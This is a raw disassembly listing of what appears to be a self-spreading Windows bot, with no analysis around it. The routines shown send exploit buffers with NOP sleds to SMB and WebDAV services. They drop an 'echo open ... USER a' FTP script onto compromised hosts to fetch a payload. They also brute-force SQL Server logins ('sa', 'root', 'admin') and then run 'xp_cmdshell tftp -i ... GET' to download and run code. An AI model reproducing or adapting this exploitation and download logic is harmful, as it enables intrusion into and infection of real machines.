		jz	loc_411DDA
		push	esi
		push	ebx
		lea	eax, [ebp+var_14EC]
		push	eax
		push	[ebp+arg_140]
		call	dword_433414	; recv
		push	esi
		push	0FDCh
		lea	eax, [ebp+var_6104]
		jmp	short loc_411F38
; ---------------------------------------------------------------------------


loc_411EF1:				; CODE XREF: sub_411B71+2D9j
		push	1Fh
		pop	ecx
		mov	esi, offset dword_42BB18
		lea	edi, [ebp+var_24D0]
		rep movsd
		push	24h
		mov	ecx, 1F4h
		lea	esi, [ebp+var_8D0]
		lea	edi, [ebp+var_2454]
		rep movsd
		pop	ecx
		mov	esi, offset off_42BB98
		lea	edi, [ebp+var_1C84]
		push	0
		rep movsd
		and	[ebp+var_17D9],	0
		push	0CF8h
		lea	eax, [ebp+var_24D0]


loc_411F38:				; CODE XREF: sub_411B71+37Ej
		push	eax
		push	[ebp+arg_140]
		call	dword_433534	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_411DDA
		push	12Ch
		call	ds:dword_41F000	; Sleep
		sub	esp, 140h
		push	50h
		pop	ecx
		lea	esi, [ebp+arg_0]
		mov	edi, esp
		rep movsd
		call	sub_411A2E
		add	esp, 140h
		test	al, al
		setnz	al


loc_411F79:				; CODE XREF: sub_411B71+26Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411B71	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 854h
		push	ebx
		push	esi
		push	edi
		xor	eax, eax
		lea	edi, [ebp-14h]
		stosd
		stosd
		stosd
		stosd
		lea	eax, [ebp+0Ch]
		xor	esi, esi
		push	eax
		mov	[ebp-4], esi
		mov	word ptr [ebp-14h], 2
		call	dword_433514	; inet_addr
		push	dword ptr [ebp+12Ch]
		mov	[ebp-10h], eax
		call	dword_4335EC	; ntohs
		push	6
		push	1
		push	2
		mov	[ebp-12h], ax
		call	dword_4334A0	; socket
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jz	loc_41207A
		push	10h
		lea	eax, [ebp-14h]
		push	eax
		push	ebx
		call	dword_433458	; connect
		cmp	eax, edi
		jz	loc_412073
		push	esi
		push	89h
		push	offset dword_42B778
		push	ebx
		call	dword_433534	; send
		cmp	eax, edi
		jz	short loc_412073
		push	esi
		mov	esi, 640h
		push	esi
		lea	eax, [ebp-854h]
		push	eax
		push	ebx
		call	dword_433414	; recv
		push	0
		push	0A8h
		push	offset dword_42B808
		push	ebx
		call	dword_433534	; send
		cmp	eax, edi
		jz	short loc_412073
		push	0
		push	esi
		lea	eax, [ebp-854h]
		push	eax
		push	ebx
		call	dword_433414	; recv
		push	0
		push	0DEh
		push	offset dword_42B8B8
		push	ebx
		call	dword_433534	; send
		cmp	eax, edi
		jz	short loc_412073
		push	0
		push	esi
		lea	eax, [ebp-854h]
		push	eax
		push	ebx
		call	dword_433414	; recv
		movsx	eax, byte ptr [ebp-810h]
		sub	eax, 30h
		jz	short loc_412085
		dec	eax
		jz	short loc_412081


loc_412073:				; CODE XREF: .text:00411FE3j
					; .text:00411FFDj ...
		push	ebx
		call	dword_4335AC	; closesocket


loc_41207A:				; CODE XREF: .text:00411FCEj
		xor	eax, eax
		jmp	loc_412147
; ---------------------------------------------------------------------------


loc_412081:				; CODE XREF: .text:00412071j
		push	0
		jmp	short loc_4120A9
; ---------------------------------------------------------------------------


loc_412085:				; CODE XREF: .text:0041206Ej
		push	2
		push	ebx
		sub	esp, 140h
		push	50h
		pop	ecx
		lea	esi, [ebp+8]
		mov	edi, esp
		rep movsd
		call	sub_411B71
		add	esp, 148h
		test	al, al
		jnz	short loc_4120C9
		push	1


loc_4120A9:				; CODE XREF: .text:00412083j
		push	ebx
		sub	esp, 140h
		push	50h
		pop	ecx
		lea	esi, [ebp+8]
		mov	edi, esp
		rep movsd
		call	sub_411B71
		add	esp, 148h
		test	al, al
		jz	short loc_4120D0


loc_4120C9:				; CODE XREF: .text:004120A5j
		mov	dword ptr [ebp-4], 1


loc_4120D0:				; CODE XREF: .text:004120C7j
		push	ebx
		call	dword_4335AC	; closesocket
		cmp	dword ptr [ebp-4], 0
		jz	short loc_412144
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+134h]
		imul	eax, 3Ch
		add	eax, offset aWebdav_0 ;	"WebDav"
		push	eax
		push	offset aSExploitingIpS ; "[%s]:	Exploiting IP: %s."
		lea	eax, [ebp-214h]
		push	200h
		push	eax
		call	sub_412E0D
		push	0
		push	dword ptr [ebp+13Ch]
		lea	eax, [ebp-214h]
		push	eax
		lea	eax, [ebp+0A0h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_4045DD
		lea	eax, [ebp-214h]
		push	eax
		call	sub_401C33
		mov	eax, [ebp+134h]
		imul	eax, 3Ch
		lea	eax, dword_42A070[eax]
		add	esp, 2Ch
		inc	dword ptr [eax]


loc_412144:				; CODE XREF: .text:004120DBj
		xor	eax, eax
		inc	eax


loc_412147:				; CODE XREF: .text:0041207Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 8590h
		call	sub_412DD0
		mov	eax, ds:dword_4275EC
		push	ebx
		push	esi
		mov	[ebp-0Ch], eax
		mov	eax, ds:dword_4275F0
		push	edi
		mov	[ebp-8], eax
		lea	eax, [ebp+0Ch]
		push	1
		push	eax
		call	sub_4028A8
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_412737
		cmp	eax, 1
		jz	loc_412737
		cmp	eax, 3
		jnz	short loc_412195
		and	dword ptr [ebp-10h], 0
		jmp	short loc_4121A9
; ---------------------------------------------------------------------------


loc_412195:				; CODE XREF: .text:0041218Dj
		call	sub_412D71
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	edx, edx
		inc	edx
		inc	edx
		mov	[ebp-10h], edx


loc_4121A9:				; CODE XREF: .text:00412193j
		lea	eax, [ebp+0Ch]
		push	eax
		push	offset aSIpc	; "\\\\%s\\ipc$"
		lea	eax, [ebp-58h]
		push	28h
		push	eax
		call	sub_412E0D
		add	esp, 10h
		xor	eax, eax


loc_4121C2:				; CODE XREF: .text:004121D9j
		mov	cl, [ebp+eax-58h]
		and	byte ptr [ebp+eax*2-11Fh], 0
		mov	[ebp+eax*2-120h], cl
		inc	eax
		cmp	eax, 28h
		jl	short loc_4121C2
		push	18h
		pop	ecx
		mov	esi, offset dword_42C250
		lea	edi, [ebp-0D0h]
		lea	eax, [ebp-58h]
		rep movsd
		lea	edx, [eax+1]


loc_4121F1:				; CODE XREF: .text:004121F6j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_4121F1
		sub	eax, edx
		mov	ecx, eax
		lea	esi, [ebp-120h]
		lea	edi, [ebp-0A0h]
		lea	eax, [ebp-58h]
		rep movsw
		lea	ecx, [eax+1]


loc_412211:				; CODE XREF: .text:00412216j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_412211
		sub	eax, ecx
		lea	edi, [ebp+eax*2-0A1h]
		mov	esi, (offset aC_5+3)
		movsd
		movsd
		lea	eax, [ebp-58h]
		movsb
		lea	ecx, [eax+1]


loc_41222F:				; CODE XREF: .text:00412234j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_41222F
		sub	eax, ecx
		add	al, 1Ah
		shl	al, 1
		mov	[ebp-1], al
		mov	[ebp-0CDh], al
		lea	eax, [ebp-58h]
		lea	ecx, [eax+1]


loc_41224B:				; CODE XREF: .text:00412250j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_41224B
		sub	eax, ecx
		shl	al, 1
		add	al, 9
		push	135h
		mov	[ebp-0A3h], al
		call	dword_4335EC	; ntohs
		mov	ebx, [ebp-10h]
		xor	eax, 9999h
		cmp	ebx, 1
		mov	word_42BF48, ax
		jz	short loc_4122F6
		cmp	ebx, 2
		jz	short loc_4122F6
		mov	eax, 90909090h
		mov	ecx, 1F4h
		lea	edi, [ebp-12C4h]
		rep stosd
		mov	eax, offset loc_42BE98
		mov	ecx, eax
		lea	esi, [ecx+1]


loc_41229D:				; CODE XREF: .text:004122A2j
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jnz	short loc_41229D
		sub	ecx, esi
		mov	esi, eax
		mov	eax, ecx
		shr	ecx, 2
		lea	edi, [ebp-1224h]
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		lea	eax, [ebp-0Ch]
		rep movsb
		lea	ecx, [eax+1]


loc_4122C2:				; CODE XREF: .text:004122C7j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_4122C2
		sub	eax, ecx
		mov	ecx, eax
		shr	ecx, 2
		lea	esi, [ebp-0Ch]
		lea	edi, [ebp-0B08h]
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		imul	ebx, 3Ch
		mov	eax, dword_42C690[ebx]
		rep movsb
		mov	[ebp-0B18h], eax
		jmp	loc_4123C8
; ---------------------------------------------------------------------------


loc_4122F6:				; CODE XREF: .text:0041227Aj
					; .text:0041227Fj
		imul	ebx, 3Ch
		mov	edx, dword_42C690[ebx]
		mov	eax, 90909090h
		mov	ecx, 36Bh
		lea	edi, [ebp-18A0h]
		rep stosd
		mov	eax, offset loc_42BE98
		mov	ecx, eax
		mov	[ebp-10BCh], edx
		lea	esi, [ecx+1]


loc_412321:				; CODE XREF: .text:00412326j
		mov	bl, [ecx]
		inc	ecx
		test	bl, bl
		jnz	short loc_412321
		sub	ecx, esi
		mov	ebx, ecx
		shr	ecx, 2
		mov	esi, eax
		lea	edi, [ebp-10ACh]
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		mov	ecx, eax
		mov	dword ptr [ebp-0D88h], 6EB06EBh
		mov	[ebp-0D84h], edx
		lea	esi, [ecx+1]


loc_412355:				; CODE XREF: .text:0041235Aj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jnz	short loc_412355
		sub	ecx, esi
		mov	esi, eax
		mov	eax, ecx
		shr	ecx, 2
		lea	edi, [ebp-0D78h]
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		xor	eax, eax


loc_412376:				; CODE XREF: .text:00412392j
		mov	cl, [ebp+eax-18A0h]
		and	byte ptr [ebp+eax*2-43DFh], 0
		mov	[ebp+eax*2-43E0h], cl
		inc	eax
		cmp	eax, 0DACh
		jl	short loc_412376
		and	byte ptr [ebp-2888h], 0
		and	byte ptr [ebp-2887h], 0
		mov	edx, 714h
		mov	esi, 31313131h
		mov	ecx, edx
		mov	eax, esi
		lea	edi, [ebp-8590h]
		rep stosd
		stosw
		mov	ecx, edx
		mov	eax, esi
		lea	edi, [ebp-64B8h]
		rep stosd
		stosw


loc_4123C8:				; CODE XREF: .text:004122F1j
		mov	ecx, 38Ah
		mov	eax, 31313131h
		lea	edi, [ebp-2884h]
		rep stosd
		xor	ebx, ebx
		push	ebx
		push	1
		push	2
		stosb
		call	dword_4334A0	; socket
		mov	esi, eax
		xor	eax, eax
		cmp	esi, 0FFFFFFFFh
		mov	[ebp-8], esi
		jz	loc_412739
		push	dword ptr [ebp+12Ch]
		lea	edi, [ebp-30h]
		stosd
		stosd
		stosd
		stosd
		mov	word ptr [ebp-30h], 2
		call	dword_4335EC	; ntohs
		mov	[ebp-2Eh], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_433514	; inet_addr
		mov	[ebp-2Ch], eax
		push	10h
		lea	eax, [ebp-30h]
		push	eax
		push	esi
		call	dword_433458	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_412730
		push	ebx
		push	89h
		push	offset dword_42C030
		push	esi
		call	dword_433534	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_412730
		push	ebx
		mov	ebx, 640h
		push	ebx
		lea	eax, [ebp-0AF0h]
		push	eax
		push	esi
		call	dword_433414	; recv
		xor	edi, edi
		push	edi
		push	0A8h
		push	offset dword_42C0C0
		push	esi
		call	dword_433534	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_412730
		push	edi
		push	ebx
		lea	eax, [ebp-0AF0h]
		push	eax
		push	esi
		call	dword_433414	; recv
		push	edi
		push	0DEh
		push	offset dword_42C170
		push	esi
		call	dword_433534	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_412730
		push	edi
		push	ebx
		lea	eax, [ebp-0AF0h]
		push	eax
		push	esi
		call	dword_433414	; recv
		movsx	eax, byte ptr [ebp-1]
		push	edi
		add	eax, 4
		push	eax
		lea	eax, [ebp-0D0h]
		push	eax
		push	esi
		call	dword_433534	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_412730
		push	edi
		push	ebx
		lea	eax, [ebp-0AF0h]
		push	eax
		push	esi
		call	dword_433414	; recv
		push	edi
		push	68h
		push	offset dword_42C2B8
		push	esi
		call	dword_433534	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_412730
		push	edi
		push	ebx
		lea	eax, [ebp-0AF0h]
		push	eax
		push	esi
		call	dword_433414	; recv
		push	edi
		push	0A0h
		push	offset dword_42C328
		push	esi
		call	dword_433534	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_412730
		push	edi
		push	ebx
		lea	eax, [ebp-0AF0h]
		push	eax
		push	esi
		call	dword_433414	; recv
		cmp	dword ptr [ebp-10h], 1
		jz	short loc_4125B1
		cmp	dword ptr [ebp-10h], 2
		jz	short loc_4125B1
		push	1Fh
		pop	ecx
		mov	esi, offset dword_42C3D0
		lea	edi, [ebp-2884h]
		rep movsd
		push	24h
		mov	ecx, 1F4h
		lea	esi, [ebp-12C4h]
		lea	edi, [ebp-2808h]
		rep movsd
		pop	ecx
		push	0
		push	0CF8h
		lea	eax, [ebp-2884h]
		mov	esi, offset off_42C450
		lea	edi, [ebp-2038h]
		push	eax
		push	dword ptr [ebp-8]
		rep movsd
		and	byte ptr [ebp-1B8Dh], 0


loc_41259A:				; CODE XREF: .text:0041264Bj
		call	dword_433534	; send
		cmp	eax, 0FFFFFFFFh
		jnz	loc_412650


loc_4125A9:				; CODE XREF: .text:00412674j
		push	dword ptr [ebp-8]
		jmp	loc_412731
; ---------------------------------------------------------------------------


loc_4125B1:				; CODE XREF: .text:00412547j
					; .text:0041254Dj
		push	1Ah
		pop	ecx
		mov	esi, offset dword_42C4E8
		lea	edi, [ebp-8590h]
		rep movsd
		mov	ecx, 6D6h
		lea	esi, [ebp-43E0h]
		lea	edi, [ebp-8528h]
		rep movsd
		movsw
		push	1Ch
		pop	ecx
		mov	esi, offset dword_42C558
		lea	edi, [ebp-64B8h]
		rep movsd
		mov	ecx, 297h
		lea	esi, [ebp-334Ch]
		lea	edi, [ebp-6448h]
		rep movsd
		push	21h
		movsw
		pop	ecx
		mov	esi, offset dword_42C5D0
		lea	edi, [ebp-5984h]
		rep movsd
		mov	esi, [ebp-8]
		xor	edi, edi
		push	edi
		push	10FCh
		lea	eax, [ebp-8590h]
		push	eax
		push	esi
		call	dword_433534	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_412730
		push	edi
		push	ebx
		lea	eax, [ebp-0AF0h]
		push	eax
		push	esi
		call	dword_433414	; recv
		push	edi
		push	0FDCh
		lea	eax, [ebp-64B8h]
		push	eax
		push	esi
		jmp	loc_41259A
; ---------------------------------------------------------------------------


loc_412650:				; CODE XREF: .text:004125A3j
		push	0
		push	ebx
		lea	eax, [ebp-0AF0h]
		push	eax
		push	dword ptr [ebp-8]
		call	dword_433414	; recv
		push	6
		push	1
		push	2
		call	dword_4334A0	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_4125A9
		xor	eax, eax
		lea	edi, [ebp-20h]
		stosd
		stosd
		stosd
		stosd
		push	135h
		mov	word ptr [ebp-20h], 2
		call	dword_4335EC	; ntohs
		mov	[ebp-1Eh], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_433514	; inet_addr
		mov	[ebp-1Ch], eax
		push	10h
		lea	eax, [ebp-20h]
		push	eax
		push	esi
		call	dword_433458	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4126BC
		push	dword ptr [ebp-8]
		jmp	short loc_41272A
; ---------------------------------------------------------------------------


loc_4126BC:				; CODE XREF: .text:004126B5j
		xor	edi, edi
		push	edi
		push	ebx
		lea	eax, [ebp-0AF0h]
		push	eax
		push	esi
		call	dword_433414	; recv
		test	eax, eax
		jle	short loc_412737
		push	1F4h
		call	ds:dword_41F000	; Sleep
		push	dword ptr [ebp+9Ch]
		lea	eax, [ebp+1Ch]
		push	eax
		push	offset aEchoOpenSDOE_0 ; "echo open %s %d>o&echo USER a>>o&echo	a"...
		lea	eax, [ebp-2B0h]
		push	190h
		push	eax
		call	sub_412E0D
		lea	eax, [ebp-2B0h]
		add	esp, 14h
		lea	edx, [eax+1]


loc_412709:				; CODE XREF: .text:0041270Ej
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_412709
		push	edi
		sub	eax, edx
		push	eax
		lea	eax, [ebp-2B0h]
		push	eax
		push	esi
		call	dword_433534	; send
		cmp	eax, 0FFFFFFFFh
		push	dword ptr [ebp-8]
		jnz	short loc_41273E


loc_41272A:				; CODE XREF: .text:004126BAj
		call	dword_4335AC	; closesocket


loc_412730:				; CODE XREF: .text:00412432j
					; .text:0041244Dj ...
		push	esi


loc_412731:				; CODE XREF: .text:004125ACj
		call	dword_4335AC	; closesocket


loc_412737:				; CODE XREF: .text:0041217Bj
					; .text:00412184j ...
		xor	eax, eax


loc_412739:				; CODE XREF: .text:004123F2j
					; .text:004127C0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41273E:				; CODE XREF: .text:00412728j
		call	dword_4335AC	; closesocket
		push	esi
		call	dword_4335AC	; closesocket
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+134h]
		imul	eax, 3Ch
		add	eax, offset aWebdav_0 ;	"WebDav"
		push	eax
		push	offset aSTryingToXploi ; "[%s]:	Trying to Xploit IP: %s."
		lea	eax, [ebp-4B0h]
		push	200h
		push	eax
		call	sub_412E0D
		add	esp, 14h
		cmp	[ebp+140h], edi
		jnz	short loc_41279F
		push	edi
		push	dword ptr [ebp+13Ch]
		lea	eax, [ebp-4B0h]
		push	eax
		lea	eax, [ebp+0A0h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_4045DD
		add	esp, 14h


loc_41279F:				; CODE XREF: .text:0041277Dj
		lea	eax, [ebp-4B0h]
		push	eax
		call	sub_401C33
		mov	eax, [ebp+134h]
		imul	eax, 3Ch
		lea	eax, dword_42A070[eax]
		inc	dword ptr [eax]
		xor	eax, eax
		pop	ecx
		inc	eax
		jmp	loc_412739
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0E30h
		push	ebx
		xor	ebx, ebx
		lea	eax, [ebp-14h]
		push	eax
		push	ebx
		push	1
		mov	[ebp-1], bl
		mov	dword ptr [ebp-30h], offset aSa	; "sa"
		mov	dword ptr [ebp-2Ch], offset aRoot ; "root"
		mov	dword ptr [ebp-28h], offset aAdmin ; "admin"
		mov	[ebp-24h], ebx
		mov	[ebp-1Ch], ebx
		mov	[ebp-0Ch], ebx
		mov	[ebp-10h], ebx
		call	dword_4334C4
		test	ax, ax
		jnz	short loc_41281E
		push	0FFFFFFFAh
		push	3
		push	0C8h
		push	dword ptr [ebp-14h]
		call	dword_43345C
		test	ax, ax
		jz	short loc_412825


loc_41281E:				; CODE XREF: .text:00412805j
		xor	eax, eax
		jmp	loc_412A73
; ---------------------------------------------------------------------------


loc_412825:				; CODE XREF: .text:0041281Cj
		push	esi
		lea	eax, [ebp-0Ch]
		push	eax
		push	dword ptr [ebp-14h]
		push	2
		call	dword_4334C4
		test	ax, ax
		jz	short loc_412841
		xor	esi, esi
		jmp	loc_412A65
; ---------------------------------------------------------------------------


loc_412841:				; CODE XREF: .text:00412838j
		lea	eax, [ebp-30h]
		push	edi
		mov	edi, ds:dword_41F000
		mov	[ebp-8], eax


loc_41284E:				; CODE XREF: .text:00412A53j
		cmp	dword_42B050, ebx
		mov	[ebp-18h], ebx
		jz	loc_412A42
		mov	eax, offset dword_42B050
		mov	esi, eax


loc_412864:				; CODE XREF: .text:004128DEj
		lea	ecx, [ebp-1]
		push	ecx
		push	dword ptr [eax]
		mov	eax, [ebp-8]
		push	dword ptr [eax]
		lea	eax, [ebp+0Ch]
		push	dword ptr [ebp+12Ch]
		push	eax
		lea	eax, [ebp-0A30h]
		push	offset aDriverSqlServe ; "DRIVER={SQL Server};SERVER=%s,%d;UID=%s"...
		push	eax
		call	sub_412BB5
		lea	eax, [ebp-0A30h]
		add	esp, 1Ch
		lea	ecx, [eax+1]


loc_412896:				; CODE XREF: .text:0041289Bj
		mov	dl, [eax]
		inc	eax
		cmp	dl, bl
		jnz	short loc_412896
		push	ebx
		sub	eax, ecx
		lea	ecx, [ebp-20h]
		push	ecx
		push	400h
		lea	ecx, [ebp-0E30h]
		push	ecx
		push	eax
		lea	eax, [ebp-0A30h]
		push	eax
		push	ebx
		push	dword ptr [ebp-0Ch]
		call	dword_43358C
		cmp	ax, bx
		jz	short loc_4128E5
		cmp	ax, 1
		jz	short loc_4128E5
		push	1F4h
		call	edi	; Sleep
		inc	dword ptr [ebp-18h]
		add	esi, 4
		cmp	[esi], ebx
		mov	eax, esi
		jnz	short loc_412864
		jmp	loc_412A42
; ---------------------------------------------------------------------------


loc_4128E5:				; CODE XREF: .text:004128C5j
					; .text:004128CBj
		lea	eax, [ebp-10h]
		push	eax
		push	dword ptr [ebp-0Ch]
		push	3
		call	dword_4334C4
		mov	esi, offset byte_42AED0
		push	esi
		push	dword ptr [ebp+8]
		call	sub_406C33
		pop	ecx
		push	eax
		lea	eax, [ebp-630h]
		push	offset aExecMaster__xp ; "EXEC master..xp_cmdshell 'tftp -i %s GE"...
		push	eax
		call	sub_412BB5
		add	esp, 10h
		push	0FFFFFFFDh
		lea	eax, [ebp-630h]
		push	eax
		push	dword ptr [ebp-10h]
		call	dword_4335A4
		test	ax, ax
		jz	loc_412A2E
		push	1388h
		call	edi	; Sleep
		push	esi
		lea	eax, [ebp-630h]
		push	offset aExecMaster___0 ; "EXEC master..xp_cmdshell '%s'"
		push	eax
		call	sub_412BB5
		lea	eax, [ebp+0Ch]
		push	eax
		lea	eax, [ebp-230h]
		push	offset aTftpFileTran_1 ; "[TFTP]: File transfer	complete to IP:	%"...
		push	eax
		call	sub_412BB5
		add	esp, 18h
		xor	esi, esi


loc_412966:				; CODE XREF: .text:00412999j
		lea	eax, [ebp-230h]
		push	eax
		call	sub_401D13
		test	eax, eax
		pop	ecx
		jz	short loc_41298E
		push	0FFFFFFFDh
		lea	eax, [ebp-630h]
		push	eax
		push	dword ptr [ebp-10h]
		call	dword_4335A4
		test	ax, ax
		jz	short loc_4129A0


loc_41298E:				; CODE XREF: .text:00412975j
		push	1388h
		call	edi	; Sleep
		inc	esi
		cmp	esi, 6
		jl	short loc_412966
		jmp	loc_412A2E
; ---------------------------------------------------------------------------


loc_4129A0:				; CODE XREF: .text:0041298Cj
		mov	eax, [ebp-18h]
		push	dword_42B050[eax*4]
		mov	eax, [ebp-8]
		push	dword ptr [eax]
		lea	eax, [ebp+0Ch]
		push	dword ptr [ebp+12Ch]
		mov	dword ptr [ebp-1Ch], 1
		push	eax
		mov	eax, [ebp+134h]
		imul	eax, 3Ch
		add	eax, offset aWebdav_0 ;	"WebDav"
		push	eax
		push	offset aSExploitingI_0 ; "[%s]:	Exploiting IP: (%s:%d) User: (%s/"...
		lea	eax, [ebp-230h]
		push	200h
		push	eax
		call	sub_412E0D
		add	esp, 20h
		cmp	[ebp+140h], ebx
		jnz	short loc_412A10
		push	ebx
		push	dword ptr [ebp+13Ch]
		lea	eax, [ebp-230h]
		push	eax
		lea	eax, [ebp+0A0h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_4045DD
		add	esp, 14h


loc_412A10:				; CODE XREF: .text:004129EEj
		lea	eax, [ebp-230h]
		push	eax
		call	sub_401C33
		mov	eax, [ebp+134h]
		imul	eax, 3Ch
		lea	eax, dword_42A070[eax]
		inc	dword ptr [eax]
		pop	ecx


loc_412A2E:				; CODE XREF: .text:0041292Dj
					; .text:0041299Bj
		push	dword ptr [ebp-0Ch]
		call	dword_433468
		push	dword ptr [ebp-10h]
		push	3
		call	dword_433550


loc_412A42:				; CODE XREF: .text:00412857j
					; .text:004128E0j
		mov	esi, [ebp-1Ch]
		cmp	esi, 1
		jz	short loc_412A59
		add	dword ptr [ebp-8], 4
		mov	eax, [ebp-8]
		cmp	[eax], ebx
		jnz	loc_41284E


loc_412A59:				; CODE XREF: .text:00412A48j
		push	dword ptr [ebp-0Ch]
		push	2
		call	dword_433550
		pop	edi


loc_412A65:				; CODE XREF: .text:0041283Cj
		push	dword ptr [ebp-14h]
		push	1
		call	dword_433550
		mov	eax, esi
		pop	esi


loc_412A73:				; CODE XREF: .text:00412820j
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_412A80	proc near		; CODE XREF: sub_401000+5Cp
					; sub_401000+9Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_412B44
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_412AAC


loc_412A9B:				; CODE XREF: sub_412A80+2Aj
		mov	al, [edi]
		add	edi, 1
		test	al, al
		jz	short loc_412ADD
		test	edi, 3
		jnz	short loc_412A9B


loc_412AAC:				; CODE XREF: sub_412A80+19j
					; sub_412A80+42j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_412AAC
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_412AEC
		test	ah, ah
		jz	short loc_412AE7
		test	eax, 0FF0000h
		jz	short loc_412AE2
		test	eax, 0FF000000h
		jnz	short loc_412AAC


loc_412ADD:				; CODE XREF: sub_412A80+22j
		sub	edi, 1
		jmp	short loc_412AEF
; ---------------------------------------------------------------------------


loc_412AE2:				; CODE XREF: sub_412A80+54j
		sub	edi, 2
		jmp	short loc_412AEF
; ---------------------------------------------------------------------------


loc_412AE7:				; CODE XREF: sub_412A80+4Dj
		sub	edi, 3
		jmp	short loc_412AEF
; ---------------------------------------------------------------------------


loc_412AEC:				; CODE XREF: sub_412A80+49j
		sub	edi, 4


loc_412AEF:				; CODE XREF: sub_412A80+60j
					; sub_412A80+65j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_412B04
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_412B5E
		jmp	short loc_412B26
; ---------------------------------------------------------------------------


loc_412B04:				; CODE XREF: sub_412A80+79j
					; sub_412A80+9Dj
		mov	dl, [esi]
		add	esi, 1
		test	dl, dl
		jz	short loc_412B4A
		mov	[edi], dl
		add	edi, 1
		sub	ecx, 1
		jz	short loc_412B40
		test	esi, 3
		jnz	short loc_412B04
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_412B5E


loc_412B26:				; CODE XREF: sub_412A80+82j
					; sub_412A80+DCj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_412B40


loc_412B2D:				; CODE XREF: sub_412A80+BEj
		mov	dl, [esi]
		add	esi, 1
		mov	[edi], dl
		add	edi, 1
		test	dl, dl
		jz	short loc_412B42
		sub	ecx, 1
		jnz	short loc_412B2D


loc_412B40:				; CODE XREF: sub_412A80+95j
					; sub_412A80+ABj
		mov	[edi], cl


loc_412B42:				; CODE XREF: sub_412A80+B9j
		pop	ebx
		pop	esi


loc_412B44:				; CODE XREF: sub_412A80+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_412B4A:				; CODE XREF: sub_412A80+8Bj
					; sub_412A80+FAj
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_412B54:				; CODE XREF: sub_412A80+F6j
					; sub_412A80+10Ej
		mov	[edi], edx
		add	edi, 4
		sub	ecx, 1
		jz	short loc_412B26


loc_412B5E:				; CODE XREF: sub_412A80+80j
					; sub_412A80+A4j
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_412B54
		test	dl, dl
		jz	short loc_412B4A
		test	dh, dh
		jz	short loc_412BAA
		test	edx, 0FF0000h
		jz	short loc_412B9A
		test	edx, 0FF000000h
		jnz	short loc_412B54
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_412B9A:				; CODE XREF: sub_412A80+106j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_412BAA:				; CODE XREF: sub_412A80+FEj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_412A80	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412BB5	proc near		; CODE XREF: sub_401000+19p
					; sub_401000+48p ...

